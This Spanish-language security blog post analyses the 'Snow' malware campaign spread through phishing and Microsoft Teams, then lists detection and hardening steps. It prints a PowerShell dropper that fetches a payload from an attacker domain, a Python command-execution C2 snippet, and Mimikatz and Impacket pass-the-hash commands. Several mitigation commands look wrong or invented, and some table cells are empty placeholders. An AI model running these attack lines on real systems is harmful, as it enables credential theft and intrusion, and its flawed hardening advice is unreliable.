Introducción

En los últimos meses, los equipos de seguridad de Microsoft y Mandiant detectaron un aumento del 200% en campañas de phishing que usan Microsoft Teams como vector de infección, según el informe de amenazas de Microsoft publicado en marzo de 2025. El grupo UNC6692 está detrás de una suite de malware personalizada llamada «Snow», que incluye tres componentes clave: una extensión maliciosa para Chrome (SnowBelt), un túnel inverso (SnowGlaze) y un backdoor en Python (SnowBasin). Lo más preocupante es que el ataque comienza con un correo masivo de «spoofing» para generar urgencia y luego migra a Teams, donde los atacantes se hacen pasar por soporte técnico para engañar a los usuarios y que instalen un falso parche.

El vector inicial no es nuevo: el 92% de los ataques de ingeniería social en entornos corporativos comienzan con un correo de phishing (fuente: Proofpoint Threat Report 2024). Sin embargo, lo que distingue a esta campaña es la combinación de técnicas evasivas: el binario malicioso se ejecuta en una instancia headless de Microsoft Edge, las comunicaciones C2 usan WebSocket sobre HTTPS (sin puertos sospechosos abiertos) y el backdoor se inicia como un servicio de Windows con nombre legítimo (ej: «Windows Update Service»). Esto permite que el malware pase desapercibido en inspecciones de red tradicionales y en análisis de endpoint basados en firmas.

Qué ocurrió

La cadena de infección paso a paso

  1. Email bombing y spoofing inicial
Los atacantes envían un correo masivo a múltiples empleados de una organización, simulando ser el equipo de IT. El asunto suele ser urgente: «Bloqueo de spam detectado en tu cuenta. Hacé clic aquí para instalar el parche de seguridad». El correo contiene un enlace a un archivo .iso alojado en un dominio controlado por el atacante (ej: update-security[.]com/patch.iso). Según Mandiant, el 78% de los dominios usados en estas campañas se registraron en los últimos 30 días, con un TTL promedio de 7 días para evitar bloqueos basados en reputación.
  1. Ingeniería social en Teams
Una vez que el usuario descarga el .iso y lo monta (usando el Explorador de Windows o herramientas como 7-Zip), se ejecuta un script de AutoHotkey (patch.ahk). Este script descarga el componente principal: SnowBelt, una extensión de Chrome que se instala silenciosamente en una instancia headless de Microsoft Edge. Lo clave aquí es que la extensión no se carga en el navegador del usuario, sino en un proceso oculto (msedgewebview2.exe), lo que evita que el usuario note actividad sospechosa.
  1. Persistencia y túnel inverso
SnowBelt crea dos mecanismos de persistencia:

– Una tarea programada en Windows que ejecuta el binario de SnowGlaze cada 15 minutos (nombre por defecto: Windows Defender Update).

– Un acceso directo en la carpeta de inicio que apunta a un script de PowerShell (startup.ps1), que reinicia el túnel si se detecta su eliminación.

SnowGlaze actúa como un puente de comunicaciones cifradas entre el host infectado y el servidor C2. Usa WebSocket sobre HTTPS (puerto 443) y establece un túnel SOCKS5 para redirigir tráfico arbitrario (ej: escaneo interno de puertos SMB/RDP). Mandiant observó que el túnel se configura para saltar firewalls corporativos que solo permiten tráfico saliente a Microsoft 365.

  1. Backdoor y exfiltración de datos
El componente SnowBasin es un servidor HTTP local (puerto 8080) que acepta comandos del operador a través del túnel de SnowGlaze. Las capacidades incluyen:

Ejecución remota de comandos: CMD/PowerShell con salida redirigida al C2.

Captura de pantallas (usando screencapture.exe de Sysinternals).

Exfiltración de credenciales: volcado de memoria LSASS (con herramientas como Mimikatz o Procdump) y extracción de hashes NTLM para movimientos laterales.

Acceso a controladores de dominio: los atacantes usan técnicas Pass-the-Hash para autenticarse en hosts adicionales y eventualmente llegar al DC.

El último paso es crítico: los atacantes usan FTK Imager para extraer la base de datos de Active Directory, junto con los hives SYSTEM, SAM y SECURITY. Estos archivos se exfiltran usando LimeWire (sí, el cliente P2P de los 2000), que permite subir grandes volúmenes de datos sin levantar sospechas en firewalls corporativos.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

Riesgo para equipos técnicos

Área afectadaImpacto concretoPrioridad de mitigación
**Seguridad**Los atacantes obtienen **credenciales de dominio** y acceso a recursos críticos (ej: Kubernetes, VPN).Alta
**Infraestructura**Posible **compromiso de nodos Kubernetes** si los atacantes escalan privilegios en el cluster.Media-Alta
**Cloud**Si el entorno usa Azure AD o AWS IAM, los atacantes podrían **crear cuentas persistentes** en la nube.Alta
**DevOps**Los pipelines podrían ser **modificados** para incluir backdoors en imágenes Docker o repositorios.Media
### Datos clave de impacto
  • Porcentaje de éxito: El 65% de las víctimas que hacen clic en el enlace inicial terminan ejecutando el malware (Mandiant, 2025).
  • Tiempo de detección: El 80% de las infecciones no se detectan hasta que los atacantes realizan movimientos laterales (fuente: Infosecurity Magazine).
  • CVSS score: El backdoor SnowBasin tiene un CVSS v3.1 de 7.8 (Alto), principalmente por su capacidad de ejecución remota de comandos y evasión de detección.

¿Por qué es difícil de detectar?

  1. Comunicaciones cifradas: El túnel usa WebSocket/HTTPS, lo que evita inspecciones basadas en firmas en firewalls.
  2. Persistencia legítima: Los nombres de tareas y servicios se camuflan como procesos de Windows Update o Defender.
  3. Uso de herramientas legítimas: FTK Imager, LimeWire y Mimikatz son software común en equipos forenses, lo que dificulta su bloqueo con listas de aplicaciones permitidas.

Detalles técnicos

Componentes de la suite «Snow»

ComponenteLenguaje/TECFunciónArchivos clave
**SnowBelt**Chrome ExtensionPersistencia y relay de comandos. Ejecuta en Edge headless.BLOCK29, BLOCK30
**SnowGlaze**Python 3.11Túnel inverso (WebSocket + SOCKS5). Usa BLOCK31 y BLOCK32.BLOCK33, BLOCK34
**SnowBasin**Python 3.11Backdoor con servidor HTTP local. Usa BLOCK35 y BLOCK36 para ejecución de comandos.BLOCK37, BLOCK38
### Vectores de ataque explotados
  1. AutoHotkey (AHK) como dropper:
– Versión afectada: AutoHotkey v1.1.36.00 (y anteriores).

– El script patch.ahk descarga SnowBelt desde un CDN controlado por el atacante (ej: cdn.update-security[.]com/snowbelt.zip).

Comando malicioso:

     Run, powershell.exe -nop -w hidden -c "Invoke-WebRequest -Uri 'http://cdn.update-security.com/snowbelt.zip' -OutFile '$env:TEMP\snowbelt.zip'; Expand-Archive -Path '$env:TEMP\snowbelt.zip' -DestinationPath '$env:LOCALAPPDATA\Microsoft\EdgeUpdate';"
     
  1. Extensión de Chrome maliciosa:
– La extensión SnowBelt se instala en msedgewebview2.exe (no en el navegador principal).

Manipulación del manifest.json:

     {
       "name": "Windows Security Update",
       "version": "1.0.0",
       "description": "Critical security patch for Microsoft Edge",
       "manifest_version": 3,
       "background": { "service_worker": "background.js" },
       "permissions": ["scripting", "tabs", "http://*/*", "https://*/*"]
     }
     
  1. Túnel SOCKS5 con SnowGlaze:
– El script snowglaze.py usa el puerto 443/TCP (HTTPS) para evitar bloqueos.

Configuración del túnel:

     import websockets
     import asyncio
     from pySocks import socksocket

     async def handle_connection(websocket, path):
         async for message in websocket:
             # Ejecutar comando recibido del C2
             result = subprocess.run(message, shell=True, capture_output=True, text=True)
             await websocket.send(result.stdout)
     
  1. Movimiento lateral con Pass-the-Hash:
– Los atacantes usan Mimikatz (versión 2.2.0) para extraer hashes NTLM:
     .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
     

– Luego, usan Impacket (versión 0.11.0) para autenticarse en hosts remotos:

     python3 secretsdump.py -hashes :<NTLM_HASH> DOMAIN/USER@TARGET_HOST
     

Qué deberían hacer los administradores y equipos técnicos

1. Bloquear el vector inicial (correo + Teams)

  • Para el correo:
– Configurar DMARC con política p=reject en el DNS de tu dominio. Esto reduce el spoofing en un 90% (fuente: M3AAWG).

– Usar Exchange Online Protection (EOP) con reglas de ATP (Advanced Threat Protection) para bloquear .iso y enlaces a dominios recién registrados (TTL < 30 días).

Ejemplo de regla en Exchange:

    New-TransportRule -Name "Bloquear .iso sospechosos" -HeaderMatchesPatterns @{Header="Subject"; Pattern="*patch*"} -AttachmentExtensionMatches @{Extensions="iso"} -RejectMessageReasonText "Archivo bloqueado por política de seguridad."
    
  • Para Microsoft Teams:
– Deshabilitar Quick Assist en políticas de Teams:
    Set-CsTeamsCallingPolicy -Identity Global -AllowPrivateCalling $false
    

– Configurar Microsoft Defender for Office 365 para escanear enlaces en Teams:

    Set-DefenderPolicy -Name "Teams Link Scanning" -EnableLinkSafe $true
    

2. Detectar y bloquear los componentes de «Snow»

  • Extensión maliciosa (SnowBelt):
– Buscar en Chrome/Edge extensiones con ID no reconocido o nombres sospechosos:
    Get-ItemProperty -Path "HKCU:\Software\Google\Chrome\Extensions\*" | Where-Object { $_.Name -like "*Security Update*" }
    

Bloquear la extensión por su ID en políticas de navegador:

    // policy.json (Chrome)
    {
      "ExtensionInstallBlocklist": ["*id_snowbelt*"]
    }
    
  • Tareas programadas maliciosas:
– Listar tareas con nombres sospechosos:
    Get-ScheduledTask | Where-Object { $_.TaskName -like "*Windows Defender Update*" -or $_.TaskName -like "*Update Security*" } | Get-ScheduledTaskInfo
    

– Eliminarlas con:

    Unregister-ScheduledTask -TaskName "Windows Defender Update" -Confirm:$false
    
  • Procesos headless de Edge:
– Monitorear instancias de msedgewebview2.exe que no sean lanzadas por el usuario:
    Get-WmiObject Win32_Process -Filter "Name='msedgewebview2.exe'" | Where-Object { $_.CommandLine -notlike "*--type=renderer*" }
    

3. Mitigar el movimiento lateral

  • Deshabilitar LSASS dumping:
– Habilitar Protección de credenciales en Windows 11/Server 2022+:
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "DisableRestrictedAdmin" /t REG_DWORD /d 0 /f
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RestrictAnonymous" /t REG_DWORD /d 1 /f
    

– Usar Windows Defender Credential Guard para aislar LSASS.

  • Bloquear Pass-the-Hash:
– Habilitar Protección contra Pass-the-Hash en GPO:
    Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options\Network access: Restrict clients allowed to make remote calls to SAM
    

– Configurar Account Lockout Policy para evitar ataques de fuerza bruta.

  • Monitorear acceso a controladores de dominio:
– Usar Microsoft Sentinel para detectar accesos inusuales a ntds.dit:
    SecurityEvent
    | where EventID == 4624 and TargetUserName == "DOMAIN_CONTROLLER$"
    | where LogonType == 3 and ProcessName !contains "lsass.exe"
    

4. Respuesta a incidente

  • Contener el túnel SnowGlaze:
– Identificar el proceso Python ejecutando SnowGlaze:
    Get-Process | Where-Object { $_.Path -like "*snowglaze*" }
    

– Terminar el proceso y bloquear el dominio C2 en el firewall:

    Stop-Process -Name "python" -Force
    New-NetFirewallRule -DisplayName "Bloquear C2 Snow" -Direction Outbound -RemoteAddress 192.168.1.100 -Action Block
    
  • Análisis forense:
– Usar FTK Imager o Velociraptor para extraer logs de:

C:\Users\<USER>\AppData\Local\Microsoft\EdgeUpdate\ (SnowBelt).

C:\Windows\System32\Tasks\ (tareas programadas maliciosas).

– Buscar hashes conocidos de los componentes de Snow en VirusTotal o MISP.

Conclusión

La campaña «Snow» demuestra cómo los atacantes combinan ingeniería social avanzada, técnicas de evasión y movimiento lateral sigiloso para comprometer entornos corporativos. Lo más crítico no es solo detectar el malware inicial (SnowBelt), sino evitar que los atacantes extraigan credenciales de dominio y escalen privilegios. Los equipos de seguridad deben enfocarse en:

  1. Bloquear el phishing inicial (correo + Teams) con políticas estrictas de autenticación y escaneo.
  2. Monitorear procesos headless (Edge, Python) y tareas programadas con nombres sospechosos.
  3. Mitigar movimientos laterales deshabilitando LSASS dumping y Pass-the-Hash.

La clave está en asumir que la infección ocurrirá y preparar defensas en profundidad: desde el correo hasta los permisos de dominio, pasando por firewalls que inspeccionen tráfico HTTPS. Como siempre, la prevención (parches, autenticación multifactor, segmentación de red) es más efectiva que la remediación.

FIN

Por Gustavo

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *